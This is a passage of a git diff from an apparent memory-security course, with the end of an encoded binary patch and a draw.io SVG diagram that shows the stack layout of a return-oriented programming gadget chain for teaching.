z!Cof=hh6gI8<sZ=*n^|)$t6u}fI@3f&qCD^AxHYFsz8$Y*qCAYbaX<`m?K6`A5LWk
zV<~+shPK3co5QFN6}pq@qbM5Xn<-drZe_zO0aGL^Is<j`%1#YcUg$hSE*17m#X+CR
zu_Waq3d;RRHAyB6JrOfwOdm7p5RY_8K5N92DCSThZS6VZopIB~%I?VfN~xB-oO(8v
zz#*YRx_~|Eom3fe4)0vp+*Zh1z8H?>24llGFeJT8cP7psp<kEX%dOL`Uo*JzFz9lH
z=A^svWaxLq-OO~v>q`4bD~-9aA~)?QU(e(|(`xw!=CnW4jWMj;*I6yEF}Xjq8gFEB
zA89q-RN7BljW@F_f3a7hc%xyLpj-#5OmXATo?Hj6##`7W@p7-meWmk+)%ZeoRtr@^
zJnp6wYu*6|ytTBSw=&U<QwL7_N!@G-ljpsv<*}OObF#mbbvfeY^KjL6@UnFXZtOlj
z;Cp6Hikrz@%GF8k(rHsW{*h`xaBg-*4ZO5kSxU$24sWpknk@k$vX!W7L1_=HOuwxL
z9uv5|KNM=<Q#J5sYv8A9;6JE=|EdPwOch4G?B!f5aJh$p)G2Hgxcu$JLUAsqhMhtU
zoF-6C`MyvC|3MA>of`Nm3|5@%^Yg<F^*toy?e%>?;PQ7MS>NY@JN1(<33<6bFXd^z
zN9B=odx_JG%Bh^cu7NMXn9E7Nvj$F+3n%$Z4g51T@aJmaUlq8$zUKule@Bq@RWLlH
z^4M{|!0rCo3f#%hQQ$7xm0cf_ra9du@OB%1NZ|7PgjC7{S8#qeDxPE1ohTgP_}u5`
z^TN(E^&u`NFJI#FbDzWC2JTe;?{oQOOim)f@-QQCIgONfEkC@=<rlKLrjW2uCQkV_
zs+7KH&U;}caK+)hutvz+-!GdvKKDJfi`$v|z8C<$2<=5DUMX;O&@3W;0&HOgHq86k
z-1p0)+>T8c?4Jnxa*iSAynhbd>3sH!z<scPlkNTWakAr@`@TNO?a$5kI~>Q%!Zu0&
zaSeGD^`iay_OJ{%mB;=*UCaGom&SQR;0s;&Mb$PQ2osKF3^}fl{ihE&`Cs0rhA=t6
z@wxVC4akT4;(*ORCduRemCs33lZPvWefb^<3j9&vWXJC3CxyIyY2<0(3tdY~=fZ^<
z_B?REWGd)K$&Slmoc2B@%Yi_!^dHk|d?q2DGdltq77zza^kh0|Vm@r+bsBoxu)s*h
zv|}Xaga-=gRPwNqns8L8l^Ebtv_jTVsYY7B7*9GEt2zPdW-^XRFD5;e^{vLM>s_5z
zUC-*YxqhflckoBG05>q#FV#YG{ZpOJjR4A-l|HPNvH7byksGM?o1REnPQxK&`VIp*
zF^g3Io=v%-YKc)lGEzfryqjhAl@$Qa>3e023gRSN-3Hb2wbC4XZ&RG>_p-oTpO@2|
z{asGC`MR9o<Y(&}8S#9<a*N%+w&W`Ri0^BV?hqV3r)|o*JehRy7{Iy?zHks{<xg+u
z<|qz};o}=v@6Zz&Iqy%HnOt6v6~<XSGn!2qrjZD2-q60mS%?=wkL7Z)2~^X}O)%?l
zSE4XFIsugmj@PtG)LNXYUUG0;=FoTS4c`{gBfGcj_$)}ZA*`ruKe#)5ThF%Y6w9T$
zj<qN~5)~Gr+xIekXYZcwaId~+$BuoGe!V~3-5VjR{HrC>t5`><{hbo}07@uS`BjtB
z0uW#IsZP@kzCL1oB&9mZVUdKFf|s3tJEdBle{Q83LepXO#rkFnDpCCb6+My9=p*<#
z3w>OLR+H$XEjlf&RMwa7R`Kx`n{DT(0dxoRd6A{H=%V90F0y&Zan4_D3FIe6u}H+w
zWpfrCkuj_%89BTP(m10S2zU3inOJJFxZ!jmFjz?9i$6&`C5RiL6OMtzL>l%iij_2;
zGG^rRbilEa!Ix<QcoD=%LBz5tyhM1l1Ew*KINd2o%kY*87$c(JjwGNfIZMOpz?O!L
z!*FagiP!2dy)$tM@C+<ta1{&SRvN|aVU>$lCJ-~RzB*Viar*@l#$aI>)?(@5GMh{f
z;ms|Q1_yJ-nB?%~BSXgFz>3ks?;fR<2@H{FO`He0F4iRgd45_Xb6FWDdKLZ}@F(@<
z`kDL=l^<!9L5|}j)`3W+zFcQBg~2saP*A)6cHqCn8E2XQldce#q@U6#NPRiJqaR5t
z!)`G6HKkPkX;%mw!}=X3?4m{ZxmWU&)W<I+JlugRpCSrguJ4^75P`3USW$i@8<pX1
zFmz^HmS3&|-YhD*SP0AVOF2moBc0BGOJ1%Q9uWF|p^xDuZ#!9j0keA%AyKI>*A>Tw
z{<sj7`AdCS{|AJAw~&+Tj~9jhK!rZ-C9~^)8W{P6%15D3tVi~V4DBmt!mK5XEB(@2
zsh<`4G#{hTXOYs?Ct{L*7JQ|?9QRKP{k5VUr2(lY`9HSl%k|M2QBln7tAf4!&mfiZ
zm;RUYol8RhkE*oG{*&-?HhuZsHu*g_+D=dz?D@Zd#LE2Ty6joa(rTx~iXhuhLeq%g
zmrs5VaLhZviTu8sU0(8%(hr1~{gw3PcN;up6hX>aT$z{nStL;3k<BF6gXQ=0&WQ5M
z{w4KfJN^*5BqH_Yy74(G6oQ{$%NMCH>5q|Asb5-O78!JvRe4P6N&2QuU(TDmgucDK
zD6h)!78tT6%O4W++?#~HyicW$theOfMucp(OF&Sm-)6&Q{*t;8q35>@a{W6cGWvyW
zDcfG3<<OV5qz$420gJPj%PzaFhW;_3@3&=W*WXw}|3s&iKka;}3^tZ^*U-PP!P5GK
zO~J;p-9q19Py8CjgIhMND1_9nr1IGzL^v4{9q+Y93tbIz5P!1Y$$mk%xh)H>(7ufm
fc1qqj7CWb{=z9%L`akcn6!?0&&?O?vEusGgRV3Q$

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/media/rop-anatomy.svg b/chapters/memory-security/ctf/media/rop-anatomy.svg
new file mode 100644
index 00000000..746ce048
--- /dev/null
+++ b/chapters/memory-security/ctf/media/rop-anatomy.svg
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Do not edit this file with editors other than draw.io -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg xmlns="http://www.w3.org/2000/svg" style="background: transparent; background-color: transparent; color-scheme: light dark;" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="850px" height="314px" viewBox="-0.5 -0.5 850 314" content="&lt;mxfile host=&quot;app.diagrams.net&quot; agent=&quot;Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0&quot; scale=&quot;1&quot; border=&quot;0&quot; version=&quot;26.0.2&quot;&gt;&#xA;  &lt;diagram name=&quot;Page-1&quot; id=&quot;i5gSCBPEnJgARSqtgXkS&quot;&gt;&#xA;    &lt;mxGraphModel dx=&quot;1434&quot; dy=&quot;821&quot; grid=&quot;1&quot; gridSize=&quot;10&quot; guides=&quot;1&quot; tooltips=&quot;1&quot; connect=&quot;1&quot; arrows=&quot;1&quot; fold=&quot;1&quot; page=&quot;1&quot; pageScale=&quot;1&quot; pageWidth=&quot;850&quot; pageHeight=&quot;1100&quot; math=&quot;0&quot; shadow=&quot;0&quot;&gt;&#xA;      &lt;root&gt;&#xA;        &lt;mxCell id=&quot;0&quot; /&gt;&#xA;        &lt;mxCell id=&quot;1&quot; parent=&quot;0&quot; /&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-1&quot; value=&quot;&quot; style=&quot;rounded=0;whiteSpace=wrap;html=1;fontSize=20;strokeWidth=2;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;320&quot; y=&quot;470&quot; width=&quot;160&quot; height=&quot;210&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-2&quot; value=&quot;High Addresses&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontSize=20;strokeWidth=2;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;370&quot; y=&quot;420&quot; width=&quot;60&quot; height=&quot;40&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-3&quot; value=&quot;Low Addresses&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontSize=20;strokeWidth=2;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;370&quot; y=&quot;680&quot; width=&quot;60&quot; height=&quot;50&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-8&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;Ret Address&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot; face=&amp;quot;Courier New&amp;quot;&amp;gt;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;br style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=0;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;320&quot; y=&quot;610&quot; width=&quot;160&quot; height=&quot;30&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-9&quot; value=&quot;4&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;br style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=0;whiteSpace=wrap;html=1;fillColor=#fff2cc;strokeColor=#d6b656;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;320&quot; y=&quot;550&quot; width=&quot;160&quot; height=&quot;30&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-10&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;Ret Address&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot; face=&amp;quot;Courier New&amp;quot;&amp;gt;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;br style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=0;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;320&quot; y=&quot;520&quot; width=&quot;160&quot; height=&quot;30&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-18&quot; value=&quot;&amp;lt;font face=&amp;quot;Courier New&amp;quot;&amp;gt;rsp&amp;lt;/font&amp;gt;&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;240&quot; y=&quot;630&quot; width=&quot;40&quot; height=&quot;20&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-19&quot; value=&quot;&quot; style=&quot;endArrow=classic;html=1;rounded=0;entryX=0;entryY=0;entryDx=0;entryDy=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; source=&quot;FV6WzPvzZQ6CM5oEvl7y-18&quot; edge=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry width=&quot;50&quot; height=&quot;50&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&#xA;            &lt;mxPoint x=&quot;400&quot; y=&quot;590&quot; as=&quot;sourcePoint&quot; /&gt;&#xA;            &lt;mxPoint x=&quot;320&quot; y=&quot;640&quot; as=&quot;targetPoint&quot; /&gt;&#xA;          &lt;/mxGeometry&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-22&quot; value=&quot;&quot; style=&quot;endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; source=&quot;FV6WzPvzZQ6CM5oEvl7y-8&quot; edge=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry width=&quot;50&quot; height=&quot;50&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&#xA;            &lt;mxPoint x=&quot;290&quot; y=&quot;650&quot; as=&quot;sourcePoint&quot; /&gt;&#xA;            &lt;mxPoint x=&quot;520&quot; y=&quot;625&quot; as=&quot;targetPoint&quot; /&gt;&#xA;          &lt;/mxGeometry&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-23&quot; value=&quot;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;gadget_addr&amp;lt;/font&amp;gt;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;br style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;520&quot; y=&quot;615&quot; width=&quot;140&quot; height=&quot;20&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-24&quot; value=&quot;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;3&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;font style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;br style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;rounded=0;whiteSpace=wrap;html=1;fillColor=#fff2cc;strokeColor=#d6b656;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;320&quot; y=&quot;580&quot; width=&quot;160&quot; height=&quot;30&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-26&quot; value=&quot;&quot; style=&quot;endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry width=&quot;50&quot; height=&quot;50&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&#xA;            &lt;mxPoint x=&quot;480&quot; y=&quot;535&quot; as=&quot;sourcePoint&quot; /&gt;&#xA;            &lt;mxPoint x=&quot;520&quot; y=&quot;535&quot; as=&quot;targetPoint&quot; /&gt;&#xA;          &lt;/mxGeometry&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-27&quot; value=&quot;&amp;lt;font face=&amp;quot;Helvetica&amp;quot;&amp;gt;New Gadget&amp;lt;br&amp;gt;&amp;lt;/font&amp;gt;&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;520&quot; y=&quot;525&quot; width=&quot;120&quot; height=&quot;20&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-29&quot; value=&quot;&amp;lt;div align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;gadget_addr:&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; pop rdx&amp;amp;nbsp; # rdx = 3&amp;lt;br&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; pop rbx&amp;amp;nbsp; # rbx = 4&amp;lt;br&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Courier New&amp;quot; style=&amp;quot;font-size: 20px;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; ret&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; # rip = New Gadget&amp;lt;br&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/div&amp;gt;&quot; style=&quot;text;html=1;align=left;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;680&quot; y=&quot;480&quot; width=&quot;410&quot; height=&quot;90&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-30&quot; value=&quot;&quot; style=&quot;endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; source=&quot;FV6WzPvzZQ6CM5oEvl7y-24&quot; edge=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry width=&quot;50&quot; height=&quot;50&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&#xA;            &lt;mxPoint x=&quot;490&quot; y=&quot;635&quot; as=&quot;sourcePoint&quot; /&gt;&#xA;            &lt;mxPoint x=&quot;520&quot; y=&quot;595&quot; as=&quot;targetPoint&quot; /&gt;&#xA;          &lt;/mxGeometry&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-31&quot; value=&quot;&amp;lt;font face=&amp;quot;Courier New&amp;quot;&amp;gt;rdx&amp;lt;/font&amp;gt;&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;520&quot; y=&quot;585&quot; width=&quot;40&quot; height=&quot;20&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-32&quot; value=&quot;&quot; style=&quot;endArrow=classic;html=1;rounded=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; edge=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry width=&quot;50&quot; height=&quot;50&quot; relative=&quot;1&quot; as=&quot;geometry&quot;&gt;&#xA;            &lt;mxPoint x=&quot;480&quot; y=&quot;565&quot; as=&quot;sourcePoint&quot; /&gt;&#xA;            &lt;mxPoint x=&quot;520&quot; y=&quot;565&quot; as=&quot;targetPoint&quot; /&gt;&#xA;          &lt;/mxGeometry&gt;&#xA;        &lt;/mxCell&gt;&#xA;        &lt;mxCell id=&quot;FV6WzPvzZQ6CM5oEvl7y-33&quot; value=&quot;&amp;lt;font face=&amp;quot;Courier New&amp;quot;&amp;gt;rbx&amp;lt;/font&amp;gt;&quot; style=&quot;text;html=1;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;strokeWidth=2;fontSize=20;&quot; parent=&quot;1&quot; vertex=&quot;1&quot;&gt;&#xA;          &lt;mxGeometry x=&quot;520&quot; y=&quot;555&quot; width=&quot;40&quot; height=&quot;20&quot; as=&quot;geometry&quot; /&gt;&#xA;        &lt;/mxCell&gt;&#xA;      &lt;/root&gt;&#xA;    &lt;/mxGraphModel&gt;&#xA;  &lt;/diagram&gt;&#xA;&lt;/mxfile&gt;&#xA;"><defs/><g><g><rect x="80" y="54" width="160" height="210" fill="#ffffff" style="fill: light-dark(#ffffff, var(--ge-dark-color, #121212)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" pointer-events="all"/></g><g><rect x="130" y="4" width="60" height="40" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 58px; height: 1px; padding-top: 24px; margin-left: 131px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; ">High Addresses</div></div></div></foreignObject><text x="160" y="30" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">High A...</text></switch></g></g><g><rect x="130" y="264" width="60" height="50" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 58px; height: 1px; padding-top: 289px; margin-left: 131px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; ">Low Addresses</div></div></div></foreignObject><text x="160" y="295" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">Low Ad...</text></switch></g></g><g><rect x="80" y="194" width="160" height="30" fill="#f8cecc" style="fill: light-dark(rgb(248, 206, 204), rgb(81, 45, 43)); stroke: light-dark(rgb(184, 84, 80), rgb(215, 129, 126));" stroke="#b85450" stroke-width="2" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 158px; height: 1px; padding-top: 209px; margin-left: 81px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font style="font-size: 20px;">Ret Address<font face="Courier New" style="font-size: 20px;"><font style="font-size: 20px;"><br style="font-size: 20px;" /></font></font></font></div></div></div></foreignObject><text x="160" y="215" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">Ret Address</text></switch></g></g><g><rect x="80" y="134" width="160" height="30" fill="#fff2cc" style="fill: light-dark(rgb(255, 242, 204), rgb(40, 29, 0)); stroke: light-dark(rgb(214, 182, 86), rgb(109, 81, 0));" stroke="#d6b656" stroke-width="2" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 158px; height: 1px; padding-top: 149px; margin-left: 81px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; ">4<font style="font-size: 20px;"><font style="font-size: 20px;" face="Courier New"><font style="font-size: 20px;"><br style="font-size: 20px;" /></font></font></font></div></div></div></foreignObject><text x="160" y="155" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">4</text></switch></g></g><g><rect x="80" y="104" width="160" height="30" fill="#f8cecc" style="fill: light-dark(rgb(248, 206, 204), rgb(81, 45, 43)); stroke: light-dark(rgb(184, 84, 80), rgb(215, 129, 126));" stroke="#b85450" stroke-width="2" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 158px; height: 1px; padding-top: 119px; margin-left: 81px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font style="font-size: 20px;">Ret Address<font face="Courier New" style="font-size: 20px;"><font style="font-size: 20px;"><br style="font-size: 20px;" /></font></font></font></div></div></div></foreignObject><text x="160" y="125" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">Ret Address</text></switch></g></g><g><rect x="0" y="214" width="40" height="20" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 38px; height: 1px; padding-top: 224px; margin-left: 1px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: &quot;Helvetica&quot;; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font face="Courier New">rsp</font></div></div></div></foreignObject><text x="20" y="230" fill="light-dark(#000000, #ffffff)" font-family="&quot;Helvetica&quot;" font-size="20px" text-anchor="middle">rsp</text></switch></g></g><g><path d="M 40 224 L 71.76 224" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-width="2" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 77.76 224 L 69.76 228 L 71.76 224 L 69.76 220 Z" fill="#000000" style="fill: light-dark(rgb(0, 0, 0), rgb(255, 255, 255)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" stroke-miterlimit="10" pointer-events="all"/></g><g><path d="M 240 209 L 271.76 209" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-width="2" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 277.76 209 L 269.76 213 L 271.76 209 L 269.76 205 Z" fill="#000000" style="fill: light-dark(rgb(0, 0, 0), rgb(255, 255, 255)); stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke="#000000" stroke-width="2" stroke-miterlimit="10" pointer-events="all"/></g><g><rect x="280" y="199" width="140" height="20" fill="none" stroke="none" pointer-events="all"/></g><g><g transform="translate(-0.5 -0.5)"><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" 